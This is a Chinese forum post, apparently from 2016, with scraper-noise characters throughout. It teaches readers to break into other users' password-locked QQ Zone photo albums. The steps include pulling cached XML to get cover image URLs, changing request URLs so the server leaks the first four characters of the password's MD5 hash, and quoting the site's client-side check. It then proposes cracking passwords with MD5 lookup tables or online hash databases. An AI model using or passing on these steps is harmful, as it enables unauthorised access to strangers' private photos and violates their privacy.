|
|
现在很多人都拥有QQ空间，并且上传了自己的照片。当你想看看新朋友的庐山真面目，可惜给相册加了密码。是不是很扫兴，现在就教你破解掉这个密码来观看加密相册。
7 M9 I9 p3 Q# w, P1 V5 x
2 w& a7 j* U$ a, z& d首先打开一个已经加过密的QQ空间相册页面，然后打开IE“工具-internet-选项”，在“常规”中的“internet临时文件夹”下，依次选择删除“cookies”和“删除文件”删除临时文件夹中所有的cookies和文件，然后再点击“设置”，在“设置窗口”选择“查看文件”，这样就打开了IE临时文件夹。4 y; v- F* g! v$ r) z9 N7 B
( Z' j$ V, J0 V! w4 H' E3 ]& b
然后打开需要破解的加密相册，出现一个对话框需要输入密码，这是选择取消，在刷新一下空间，点击“相册”。作完上面的动作后找到临时文件夹，刷新一下，里面会有一个“cgi_qqzone_static”的XML文档。双击打开它，在弹出的对话框中选择“是”，打开的是一个代码文件。按Ctrl+f查找，输入“我”进行查找，找到<![CDATA[ 我 ]]>这段代码，下面那个地址就是QQ相册的封面地址。复制他就能看到加密图片的封面# a4 l- z6 Q' a7 o# S) d
根据http://izone.qq.com/client/photo ... &album=31931732 * Z, {- R. P3 \" I: A/ g
下载或者翻看Internet临时文件夹下的 photo_password 文件可查到下列语句： 2 o3 n$ t0 [/ D, ?! W. R
type="text/JavaScript" src=https://www.abc369.net/info/way/"/js/md5.js"></script>
- J$ J' V( ^8 V# ~document.cookie=("album"+albumId+"pwd="+hex_md5(pwd));
, s$ y8 ]& D, l对比 md5.js文件可知，此v2.1版本的 JavaScript MD5，且输入的密码转化为32位的字符串。
" y: Y2 n% n7 d0 s7 u8 X! o, k' Z. r
比较两个地址：
7 g3 @) k; ?" h J1 N/ r3 whttp://photo.qq.com/cgi-bin/izon ... mp;albumid=31931732 O* e1 v# P1 \
/*http://izone.qq.com/client/photo ... amp;album=31931732/这个地址类似可以不看*/ ; n* F9 a+ P' e+ Y5 D3 U
（此地址为有密码情况下的登陆地址，要求输入密码）
: }( q/ R) _, uhttp://photo.qq.com/cgi-bin/izon ... asswd=&mode=big . d9 T; x: Y7 a5 l
（此地址为无密码情况下的登陆地址） # r# Y9 z# C9 e2 `& X
3 W( l9 d; F+ U. K! L由此可以推断出： " l$ a, W, M2 `0 L6 C- ^) F
http://photo.qq.com/cgi-bin/izon ... 1931732&passwd=（广告广告广告广告广告*）&mode=big $ F- Q4 ~9 d2 q5 W
广告广告为转化后的md5字符串，此地址应该为此地址为有密码情况下的直接登陆地址。 , w: L2 N/ M5 ~) c' T5 I# W! m
随便输入一段字符显示如下：
8 ]' z- Q# h1 O* S" P<?xml version="1.0" encoding="GBK" ?> 7 n( t4 P$ u' u
<error>密码有误,请重新输入!</error> & C( A( F: X4 a/ w9 I6 \5 f
考虑到在前面有密码情况下的登陆窗口连接为cgi_album_pwd，浏览相册连接为cgi_album_view。 4 F+ J. M6 K' t9 n
试将登陆地址改为下列方式：
1 a: P9 K5 w7 r+ N. B3 Z' Xhttp://photo.qq.com/cgi-bin/izon ... 1931732&passwd=（广告广告广告广告广告*）&mode=big * C5 {+ R* ~* I2 h$ n
随便输入一段字符显示如下： ! |# {7 L) [+ w" _7 t
<?xml version="1.0" encoding="GBK" ?>
& U! ?3 \/ _$ k& M<data id="31931732" owner="23266229" passwd="81dc" /> / }' K# e! Q) y7 [( @# {3 N
经过换算可知，1234的MD5值是81dc9bdb52d04dc20036dbd8313ed055
: A$ }: t. P0 n9 B测试数次 2 A$ w6 b. F0 v! g5 T0 E
<?xml version="1.0" encoding="GBK" ?> / P' ?0 h5 ]- o3 y
<data id="31931732" owner="23266229" passwd="1bbd" /> * s- D# `2 G4 U6 ~
密码：11111111 MD5：1bbd886460827015e5d605ed44252251
) s5 _/ [; R% b4 M6 c<?xml version="1.0" encoding="GBK" ?> $ g0 V! C, D* P4 B0 ?) y x
<data id="31931732" owner="23266229" passwd="eccb" /> 1 s. k4 q$ u9 b; A3 D |
密码：3 MD5：eccbc87e4b5ce2fe28308fd9f2a7baf3
8 V9 B2 I# o8 A5 [由此可以判断，此处的passwd为密码加密后的前4位。 / b9 R4 N5 {7 L O
photo_password 文件可查到下列语句： & B0 k) {* J2 ]* N C8 Q9 |
var p=""; ) g7 Y8 h% z0 H' B$ m
if (x!=null) p=x.selectSingleNode("/data").getAttribute("passwd"); % B2 h% `+ u, @/ c9 A6 z
判断此passwd应该是数据库中的某字段名。
/ U! E5 r& B2 L2 @$ M! _" I9 u- `if (p!="" && hex_md5(pwd).indexOf(p)!=0){ - B: D2 w5 Q' r% V$ G
alert("密码错误") 4 G) Z P7 N% F5 ]' `& r+ t( L
document.getElementById("pass").focus(); & K. i# R0 i" B% s
return; 3 W! X$ s6 }9 y$ G2 G, T2 m' Q
} / U5 V* B# m. d+ _5 C; ?; @$ g0 K
document.cookie=("album"+albumId+"pwd="+hex_md5(pwd));
) F5 ], L/ w% T+ f6 @5 F7 }location="/client/photo_static_big.htm?uin="+uin+"&album="+albumId; ) n+ d$ }& \; Y* p/ L2 f, J
pwd为输入的密码，经过md5加密。判断此处出现的passwd="eccb"应该是验证输入的密文密码的正确性的。如果正确，使用hex_md5(pwd)进行登陆。
0 J+ ^, J: c' @; E' O
/ M% Y0 m1 @) C, W4 [由于qq相册密码提示为8位，那么如果有心人使用相关工具换算处8位以下的所有数字和字母组合的MD5值做成数据库，那么密码就如同虚设。但是考虑到相册密码意义不大，一般情况下不会有人过于无聊拿机器去跑这东西... 似乎最基本常见的的运算次数为几百万亿次，如果谁又兴趣搞几台服务器跑天把做个数据库倒是蛮好，就是大了点准备个TB级的硬盘矩阵吧。如果怕麻烦可以去国外的几个大型MD5数据库查询
, Y: R* m5 E7 Q8 P- ]( i. V5 h |
|
|手机版|小黑屋|☆我要吧☆
( 豫ICP备13016831号-1 )
狗仔卡
发表于 2016-4-6 22:05:08
提升卡
置顶卡
锁贴卡
解贴卡
变色卡
显身卡